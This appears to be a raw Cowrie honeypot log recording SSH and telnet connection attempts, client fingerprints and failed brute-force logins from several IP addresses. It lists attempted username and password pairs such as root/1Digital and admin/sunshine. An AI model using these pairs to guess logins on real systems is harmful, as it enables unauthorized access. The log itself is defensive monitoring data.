{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60630,"dst_ip":"10.17.0.5","dst_port":23,"session":"41f398b646fa","protocol":"telnet","message":"New connection: 5.61.90.139:60630 (10.17.0.5:23) [session: 41f398b646fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:47:12.531894Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":60792,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b56bba3e2e2","protocol":"ssh","message":"New connection: 80.253.31.232:60792 (159.203.135.109:22) [session: 8b56bba3e2e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:47:17.654924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:47:17.659784Z","src_ip":"80.253.31.232","session":"8b56bba3e2e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:47:17.786616Z","src_ip":"80.253.31.232","session":"8b56bba3e2e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Digital","message":"login attempt [root/1Digital] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:47:18.326233Z","src_ip":"80.253.31.232","session":"8b56bba3e2e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:47:19.456693Z","src_ip":"80.253.31.232","session":"8b56bba3e2e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00117993354797,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:47:37.117558Z","src_ip":"146.120.225.17","session":"aa7cf3304c2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.120.225.17","src_port":35402,"dst_ip":"10.17.0.5","dst_port":23,"session":"f93713abb57e","protocol":"telnet","message":"New connection: 146.120.225.17:35402 (10.17.0.5:23) [session: f93713abb57e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:47:38.208350Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60634,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc8441b055aa","protocol":"telnet","message":"New connection: 5.61.90.139:60634 (10.17.0.5:23) [session: fc8441b055aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:47:39.113740Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46834,"dst_ip":"159.203.135.109","dst_port":22,"session":"70a3479a36ec","protocol":"ssh","message":"New connection: 159.203.92.129:46834 (159.203.135.109:22) [session: 70a3479a36ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:47:49.192355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:47:49.197091Z","src_ip":"159.203.92.129","session":"70a3479a36ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:47:49.201368Z","src_ip":"159.203.92.129","session":"70a3479a36ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aitech","password":"666666","message":"login attempt [aitech/666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:47:49.211513Z","src_ip":"159.203.92.129","session":"70a3479a36ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:47:50.216831Z","src_ip":"159.203.92.129","session":"70a3479a36ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.546080589294434,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:47:58.077829Z","src_ip":"5.61.90.139","session":"41f398b646fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":42564,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ab1fd0c968f","protocol":"ssh","message":"New connection: 217.154.192.185:42564 (159.203.135.109:22) [session: 0ab1fd0c968f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:02.659434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:02.664779Z","src_ip":"217.154.192.185","session":"0ab1fd0c968f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:02.762085Z","src_ip":"217.154.192.185","session":"0ab1fd0c968f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123123","message":"login attempt [testuser/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:03.171754Z","src_ip":"217.154.192.185","session":"0ab1fd0c968f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:04.268770Z","src_ip":"217.154.192.185","session":"0ab1fd0c968f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":45044,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0add2800ee9","protocol":"ssh","message":"New connection: 80.253.31.232:45044 (159.203.135.109:22) [session: f0add2800ee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:05.574984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:05.578848Z","src_ip":"80.253.31.232","session":"f0add2800ee9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:05.701063Z","src_ip":"80.253.31.232","session":"f0add2800ee9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"sunshine","message":"login attempt [admin/sunshine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:06.225113Z","src_ip":"80.253.31.232","session":"f0add2800ee9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:07.351434Z","src_ip":"80.253.31.232","session":"f0add2800ee9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60648,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7b9294f71a5","protocol":"telnet","message":"New connection: 5.61.90.139:60648 (10.17.0.5:23) [session: e7b9294f71a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:18.993330Z"}
{"eventid":"cowrie.session.closed","duration":47.63966417312622,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:26.753285Z","src_ip":"5.61.90.139","session":"fc8441b055aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57894,"dst_ip":"159.203.135.109","dst_port":22,"session":"e35b78ffc42e","protocol":"ssh","message":"New connection: 159.203.92.129:57894 (159.203.135.109:22) [session: e35b78ffc42e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:34.867680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:34.872383Z","src_ip":"159.203.92.129","session":"e35b78ffc42e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:34.876825Z","src_ip":"159.203.92.129","session":"e35b78ffc42e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aitech","password":"aitech","message":"login attempt [aitech/aitech] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:34.889089Z","src_ip":"159.203.92.129","session":"e35b78ffc42e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:35.895368Z","src_ip":"159.203.92.129","session":"e35b78ffc42e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":38164,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fe8fc648140","protocol":"ssh","message":"New connection: 91.134.240.52:38164 (159.203.135.109:22) [session: 4fe8fc648140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:45.514150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:45.519325Z","src_ip":"91.134.240.52","session":"4fe8fc648140","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:45.596736Z","src_ip":"91.134.240.52","session":"4fe8fc648140","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123Qwerty","message":"login attempt [ubuntu/123Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:45.946923Z","src_ip":"91.134.240.52","session":"4fe8fc648140","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:47.027280Z","src_ip":"91.134.240.52","session":"4fe8fc648140","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":35100,"dst_ip":"159.203.135.109","dst_port":22,"session":"31ffe4d507ff","protocol":"ssh","message":"New connection: 217.154.192.185:35100 (159.203.135.109:22) [session: 31ffe4d507ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:50.469823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:50.473852Z","src_ip":"217.154.192.185","session":"31ffe4d507ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:50.567283Z","src_ip":"217.154.192.185","session":"31ffe4d507ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vhserver","password":"vhserverpass","message":"login attempt [vhserver/vhserverpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:51.009558Z","src_ip":"217.154.192.185","session":"31ffe4d507ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":55898,"dst_ip":"159.203.135.109","dst_port":22,"session":"c756f11e5fdb","protocol":"ssh","message":"New connection: 80.253.31.232:55898 (159.203.135.109:22) [session: c756f11e5fdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:52.007965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:52.013043Z","src_ip":"80.253.31.232","session":"c756f11e5fdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:48:52.110138Z","src_ip":"217.154.192.185","session":"31ffe4d507ff","protocol":"ssh"}
